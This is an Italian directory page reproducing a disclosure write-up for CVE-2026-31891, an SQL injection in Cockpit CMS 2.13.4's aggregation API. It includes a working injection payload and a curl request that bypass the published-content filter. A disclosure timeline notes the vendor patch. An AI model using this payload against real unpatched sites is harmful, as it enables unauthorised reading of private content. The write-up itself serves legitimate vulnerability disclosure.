Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-31891 — SQL Injection in MongoLite Aggregation Optimizer via toJsonExtractRaw() | Kitploit
Strumenti/GitHubGitHub/ffasterss/cve-2026-31891
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSicurezza dei Database
GitHubffasterss/cve-2026-31891

CVE-2026-31891

SQL Injection in MongoLite Aggregation Optimizer via toJsonExtractRaw()

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SQL Injection nell'Ottimizzatore di Aggregazione MongoLite tramite toJsonExtractRaw()

  • Classe di vulnerabilità: SQL Injection (CWE-89)
  • Prodotto: Cockpit CMS (Core Edition)
  • Versione interessata: 2.13.4 e probabilmente tutte le versioni successive all'introduzione dell'Ottimizzatore di Aggregazione
  • Immagine Docker testata: cockpithq/cockpit:core-2.13.4
  • Commit sorgente: 7fe563023b7fae854c857d2e2dc0878ef28fbb5f (tag 2.13.4)
  • GitHub: https://github.com/Cockpit-HQ/Cockpit
  • Data di scoperta: 2026-02-28
  • Punteggio CVSS: 7.7 (Alto) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

1. Riepilogo esecutivo

È stata identificata una vulnerabilità di SQL Injection in Cockpit CMS (Core Edition versione 2.13.4). La vulnerabilità risiede nell'Ottimizzatore di Aggregazione , in particolare nel metodo . I nomi dei campi controllati dall'utente vengono concatenati direttamente nelle query SQL senza una corretta sanificazione.

MongoLite
toJsonExtractRaw()

Un attaccante autenticato con accesso in lettura (tramite una chiave API) a un Content Model può iniettare comandi SQL arbitrari nella pipeline di aggregazione tramite l'endpoint REST /api/content/aggregate/{model}.

Questa falla consente agli attaccanti di:

  • Bypassare il filtro previsto per i contenuti pubblicati (_state=1) per leggere bozze non pubblicate.
  • Estrarre il contenuto completo dei documenti da qualsiasi collezione nello stesso database SQLite.
  • Enumerare lo schema interno del database tramite sqlite_master.

2. Riproduzione dell'exploit passo dopo passo

I seguenti passaggi dimostrano come un attaccante possa bypassare il filtro di autorizzazione _state=1.

Prerequisiti

  • Cockpit CMS 2.13.4 o versioni precedenti
  • Una chiave API con almeno accesso in lettura a un modello di collezione di contenuti.

2.1: Configurare il modello di contenuto

  1. Accedi alla dashboard di amministrazione di Cockpit CMS come amministratore.
  2. Vai su Contenuti > Modelli e crea un nuovo modello denominato testcol.
  3. Aggiungi due campi di testo al modello: title e body.

Screenshot: Configurazione del modello di contenuto testcol Configurazione del modello di contenuto testcol

2.2: Configurare il ruolo API e la chiave

  1. Vai su Impostazioni > Ruoli.
  2. Crea o modifica un ruolo (ad es., MasterRole) in modo che abbia il permesso LETTURA per il modello testcol.

Screenshot: Configurazione dei permessi del ruolo per la collezione Configurazione dei permessi del ruolo per la collezione

  1. Vai su Impostazioni > API & Sicurezza (Chiavi API).
  2. Aggiungi una nuova chiave API e assegnale il ruolo MasterRole appena configurato. Copia il valore della chiave (ad es., API-b8e8...).

Screenshot: Configurazione della chiave API con il ruolo di accesso in lettura Configurazione della chiave API con il ruolo di accesso in lettura

2.3: Creare contenuti di esempio (inclusa una bozza segreta)

  1. Vai su Contenuti > testcol.
  2. Crea un elemento intitolato Public e imposta il suo stato su PUBBLICATO (icona verde).
  3. Crea un secondo elemento intitolato SECRET_DRAFT e imposta il suo stato su NON PUBBLICATO (icona rossa).

Screenshot: Elenco degli elementi che mostra un elemento pubblicato e uno non pubblicato Elenco degli elementi che mostra un elemento pubblicato e uno non pubblicato

2.4: Eseguire l'exploit

Per impostazione predefinita, le query API standard restituiscono solo contenuti con stato Pubblicato. Tuttavia, iniettando SQL nella pipeline di aggregazione, il filtro per i contenuti pubblicati può essere bypassato.

  1. Costruisci il seguente payload. Il payload esce dalla funzione SQL json_extract() e aggiunge un commento SQL -- per neutralizzare l'SQL finale, prendendo di mira specificamente la clausola WHERE che limita i risultati agli elementi pubblicati.

Campo iniettato:

root@kitploit:~
$title') as _id FROM collections_testcol--

Pipeline JSON completo:

root@kitploit:~
[{"$group": {"_id": "$title') as _id FROM collections_testcol--", "c": {"$sum": 1}}}]
  1. Codifica in URL il JSON della pipeline e invia una richiesta GET tramite browser (o curl) all'endpoint /api/content/aggregate/testcol. Assicurati di sostituire YOUR_API_KEY con la chiave generata nel Passaggio 2.2:
root@kitploit:~
curl "http://localhost:8080/api/content/aggregate/testcol?api_key=YOUR_API_KEY&pipeline=%5B%7B%22%24group%22%3A%20%7B%22_id%22%3A%20%22%24title%27%29%20as%20_id%20FROM%20collections_testcol--%22%2C%20%22c%22%3A%20%7B%22%24sum%22%3A%201%7D%7D%7D%5D"

2.5: Verifica dell'exploit

Come mostrato nello screenshot finale qui sotto, la risposta API restituisce con successo l'elemento SECRET_DRAFT nonostante sia esplicitamente marcato come NON PUBBLICATO. Ciò conferma che l'iniezione SQL bypassa il meccanismo di autorizzazione principale dell'applicazione e consente l'estrazione non autorizzata di dati tramite l'API.

Screenshot: Estrazione riuscita dei dati non pubblicati 'SECRET_DRAFT' Estrazione riuscita dei dati non pubblicati 'SECRET_DRAFT'

3. Impatto -- conseguenze

In una tipica implementazione headless CMS, una chiave API pubblica di sola lettura è spesso incorporata/codificata nel JavaScript del frontend. Sfruttando questa vulnerabilità tramite l'endpoint API pubblico, un attaccante può:

  • Bypassare il filtro per i contenuti pubblicati per leggere bozze non pubblicate, elementi archiviati e contenuti nascosti.
  • Leggere tutte le collezioni di contenuti nello stesso database content.sqlite, incluse le collezioni per cui la chiave API non è autorizzata.
  • Enumerare lo schema del database tramite sqlite_master per scoprire tutti i nomi e le strutture delle tabelle.

4. Cronologia della divulgazione

DataAzione
2026-02-28Vulnerabilità scoperta durante una ricerca di sicurezza autorizzata
2026-03-02Report inviato al fornitore
2026-03-02Fix del fornitore -- https://github.com/Cockpit-HQ/Cockpit/commit/b6a0b45c5e8fe16f3027b889583cc3a9127ab4b0
2026-03-09Patch rilasciata v 2.13.5 -- https://getcockpit.com/releases

Appendice:

  • https://github.com/Cockpit-HQ/Cockpit/security/advisories/GHSA-7x5c-vfhj-9628
  • https://www.cve.org/CVERecord?id=CVE-2026-31891
Scarica lo strumento